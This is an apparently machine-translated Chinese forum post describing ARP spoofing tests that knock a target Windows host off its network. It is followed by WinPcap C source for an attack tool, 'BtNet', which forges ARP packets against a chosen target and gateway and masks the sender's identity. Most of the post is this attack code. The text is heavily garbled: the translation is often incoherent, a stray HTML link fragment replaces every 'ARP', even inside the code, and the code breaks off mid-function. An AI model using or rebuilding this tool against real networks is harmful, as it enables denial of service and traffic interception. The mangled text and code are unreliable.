文章作者：粗鲁
阿尔普的基础上欺骗的网络攻击程序
写的鲁德
主页： ＆ ＆
电子邮件： cocoruder@163.com
最近开始学习WinPcap的，已经看到了很多的基础上撰写的主人欺骗HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP协议捕获工具，特别是高级Dianzaiketai TOo2y的“谈谈呼吁WinPcap的驱动程序的工具多HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP协议写道： ”我感到非常的收益。我下面的这个思想统一到HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP协议的攻击程序（目标主机可以断开网络连接）的一些测试。请跳过硕士，以免有休闲的拉斯维加斯。
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP协议欺骗一般是被欺骗的主机HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP协议答复报告的数据来源IP地址，家里的合同，东道国欺骗主机地址，源MAC地址已改变了他们的MAC地址。假设有两个机器有A ， B ，发送HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP协议答覆数据报告的A ，其中源IP地址为B的地址，源MAC地址我的机器的MAC地址（ IPRouter功能，以确保数据传送至公开） ，然后传送公司的数据报告给我的头发机，类似的B做同样的手术，然后在A “ == ”乙数据将流经的机器，我期待到一个正常HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP协议包若要变更在甲，乙，直到HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP高速缓存。
然后，我们发送到A的HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP协议报告的数据源IP ，源的MAC更改到任何这是会发生什么？这里列举了一些我的测试
1 。要改变源IP网关的IP ，源的MAC改变MAC地址不存在
在目标主机几乎不影响
2 。要改变源IP网关的IP ，源的MAC改为随机网络，但没有公开IPRouter主机的MAC地址
几乎没有任何影响
3 。要改变源IP网关的IP ，源主机的MAC阅读目标的MAC
净目标主机立即！
当我们发送可以看出通过HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP协议的结构进行真正的目标主机，将主机的目标改变HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP高速缓存，数据包的MAC层将是一个时候，网关IP和MAC地址自己的包在一起，网关发送给报纸别无选择，只能发出自己的数据，哈哈。
至于第一种情况，怀疑可能是因为MAC地址不存在，目标将举办一个广播HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP协议请求数据包和更新其HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP高速缓存造成的。
至于第2号案件中，源MAC地址的嫌疑人将返回各自所在的地址解析答覆的目标主机。
有限，因此只有一个猜测，请让我知道不久后，先谢。
谈论的是，这些测试只适用于Windows系统，当然，还没有经过测试就分配好了成功的红帽。
测试程序（ BtNet.exe ） ：
用法： BtNet小时attackIP邻gateIP [米spoofedMAC ]
米的参数，你应该修改源MAC地址。
为了掩盖身份的攻击，该计划已再次的目标时，主机MAC地址伪装成的IP ： 128.128.128.128 ，陆委会：第5条，第5条，第5条，第5条，第5条，第5条，无法获取MAC地址的目标主机，然后必须MAC地址的请求通过第三方的工具。
附测试代码
#include "packet32.h"
#include "ntddndis.h"
#include <stdio.h>
#include <conio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")
#define ETH_IP 0x0800
#define ETH_HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP 0x0806
#define HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_REQUEST 0x0001 //HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP请求包
#define HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_REPLY 0x0002 //HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP应答包
#define HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_HARDWARE 0x0001
#define max_num_adapter 10
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char eh_dst[6]; //以太网目的地址
unsigned char eh_src[6]; //以太网源地址
unsigned short eh_type; //
}ETHDR,*PETHDR;
typedef struct HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr //HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP头
{
unsigned short HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_hdr; //硬件类型
unsigned short HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_pro; //协议类型
unsigned char HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_hln; //硬件地址长度
unsigned char HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_pln; //协议地址长度
unsigned short HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_opt; //
unsigned char HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_sha[6]; //发送端以太网地址
unsigned long HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa; //发送端ip地址
unsigned char HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_tha[6]; //接收端以太网地址
unsigned long HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_tpa; //接收端ip地址
}HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPHDR,*PHTTP://www.cnpaf.net/class/arp' target='_blank'>ARPHDR;
typedef struct ip_mac
{
u_long ip;
unsigned char mac[6];
}IP_MAC,*PIP_MAC;
#pragma pack(push)
LPADAPTER lpAdapter;
char adapterlist[max_num_adapter][1024];
IP_MAC toipandmac;
IP_MAC oipandmac,myipandmac;
BOOL param6=FALSE;
char *noMACstr;
char noMAC[6][3];
u_long mytoIP,oIP;
BOOL sendtoOip;
MSG msg;
UINT newtimer;
char MYIP[20]="128.128.128.128";
BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;
int getint(char c)
{
int t=-1;
if((c<='9')&&(c>='0'))
t=c-'0';
else if((c>='a')&&(c<='f'))
t=10+c-'a';
else if((c>='A')&&(c<='F'))
t=10+c-'A';
return t;
}
void start()
{
printf("BtNet //--an HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP Tool test the Windows Break the Internet\n");
printf("written by Ruder,10/2003\n");
printf("Homepage: ;n");
printf("E-mail: cocoruder@163.com\n");
printf("\nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]\n");
printf("Example:\n");
printf("BtNet -h 202.115.138.12 -o 202.115.138.1\n");
printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7c\n");
printf(" Warning: You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");
return ;
}
DWORD WINAPI sniff(LPVOID)
{
LPPACKET lppackets,lpPacketr;
char recvbuf[1024*250];
ULONG ulbytesreceived,off;
ETHDR *eth;
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPHDR *HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP;
char *buf,*pChar,*base;
char szTemp[20];
struct bpf_hdr *hdr;
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket send Error: %d\n",GetLastError());
return 0;
}
if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning: Unable to set the adapter to promiscuous mode\n");
}
if(PacketSetBuff(lpAdapter,500*1024)==FALSE)
{
printf("PacketSetBuff Error: %d\n",GetLastError());
return 0;
}
if(PacketSetReadTimeout(lpAdapter,1)==FALSE)
{
printf("Warning: Unable to set the timeout\n");
}
if((lpPacketr=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket receive Error: %d\n",GetLastError());
return 0;
}
PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf));
while(!kbhit())
{
if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE)
{
return 0;
}
//getdata(lppacketr,option);
ulbytesreceived=lpPacketr->ulBytesReceived;
buf=(char *)lpPacketr->Buffer;
off=0;
while(off<ulbytesreceived)
{
if(kbhit())
{
return 0;
}
hdr=(struct bpf_hdr *)(buf+off);
off+=hdr->bh_hdrlen;
pChar=(char *)(buf+off);
base=pChar;
off=Packet_WORDALIGN(off+hdr->bh_caplen);
eth=(PETHDR)pChar; //以太头
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP=(PHTTP://www.cnpaf.net/class/arp' target='_blank'>ARPHDR)(pChar+sizeof(ETHDR)); //HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP头
int i;
if((eth->eh_type==htons(ETH_HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP))&&
(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP->HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_opt==htons(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_REPLY)))
{
//if (HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP->HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_tpa==htonl(ntohl(inet_addr(MYIP))))
{
if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag)
return 0;
if (((toipandmac.ip==htonl(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP->HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa))&&(toipandmac_flag==FALSE))
||((myipandmac.ip==htonl(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP->HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa))&&(myipandmac_flag==FALSE))
||((oipandmac.ip==htonl(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP->HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa))&&(oipandmac_flag==FALSE)))
{
memset(szTemp,0,sizeof(szTemp));
memcpy(szTemp,&HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP->HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa,sizeof(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP->HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa));
printf("[IP]:");
printf("%s",inet_ntoa(*((struct in_addr *)szTemp)));
printf("[MAC]:");
for(i=0;i<5;i++)
{
printf("%.2x-",eth->eh_src[i]);
}
printf("%.2x",eth->eh_src[5]);
printf("\n");
if (toipandmac.ip==htonl(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP->HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa))
{
for(i=0;i<6;i++)
toipandmac.mac[i]=eth->eh_src[i];
toipandmac_flag=TRUE;
}
if (oipandmac.ip==htonl(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP->HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa))
{
for(i=0;i<6;i++)
oipandmac.mac[i]=eth->eh_src[i];
oipandmac_flag=TRUE;
// printf("if you have get the MAC Addresses enough,Press any key for staring!\n");
}
if(myipandmac.ip==htonl(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP->HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa))
{
for(i=0;i<6;i++)
myipandmac.mac[i]=eth->eh_src[i];
myipandmac_flag=TRUE;
}
}
}
}
continue;
}
}
return 0;
}
DWORD WINAPI sendHTTP://www.cnpaf.net/class/arp' target='_blank'>ARPPacket(LPVOID dwsendtoIP)
{
LPPACKET lpPacket;
ETHDR eth;
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPHDR HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr;
int i;
char szPacketBuf[600];
u_long sendtoIP=*(u_long *)dwsendtoIP;
//struct sockaddr_in sin;
lpPacket = PacketAllocatePacket();
if(lpPacket==NULL)
{
printf("\nPacketAllocatePacket error!");
return 0;
}
eth.eh_type=htons(ETH_HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP);
for(i=0;i<6;i++)
{
eth.eh_dst[i]=0xff;
eth.eh_src[i]=0xa5;
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_sha[i]=0xa5;
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_tha[i]=0xff;
}
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_hdr=htons(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_HARDWARE);
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_pro=htons(ETH_IP);
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_opt=htons(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_REQUEST);
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_hln=6;
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_pln=4;
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_tpa=htonl(sendtoIP);
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa=htonl(ntohl(inet_addr(MYIP)));
if(sendtoOip)
{
if(myipandmac_flag)
{
for(i=0;i<6;i++)
{
eth.eh_src[i]=myipandmac.mac[i];
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_sha[i]=myipandmac.mac[i];
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr.HTTP://www.cnpaf.net/class/arp' target='_blank'>ARP_spa=htonl(myipandmac.ip);
//memset(MYIP,0,sizeof(MYIP));
}
}
else
{
printf("My MAC Address Can't Find!\n");
return 0;
}
}
memset(szPacketBuf,0,sizeof(szPacketBuf));
memcpy(szPacketBuf,ð,sizeof(ETHDR));
memcpy(szPacketBuf+sizeof(ETHDR),&HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr,sizeof(HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPHDR));
PacketInitPacket(lpPacket,szPacketBuf,60);
if(PacketSetNumWrites(lpAdapter, 1)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!\n");
}
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
PacketFreePacket(lpPacket);
return 0;
}
PacketFreePacket(lpPacket);
return 0;
}
DWORD WINAPI sendSR()
{
ETHDR eth;
HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPHDR HTTP://www.cnpaf.net/class/arp' target='_blank'>ARPhdr;
int i;
char szPacketBuf[600];
LPPACKET lpPacket;
unsigned char toMAC[6];
struct sockaddr_in sin;
u_long toIP=mytoIP;
//if ((myipandmac_flag==FALSE)||(oipandmac_flag==FALSE)||(toipandmac_flag==FALSE))
//{
// printf("Can't get all MAC address!\n");
// return 0;
/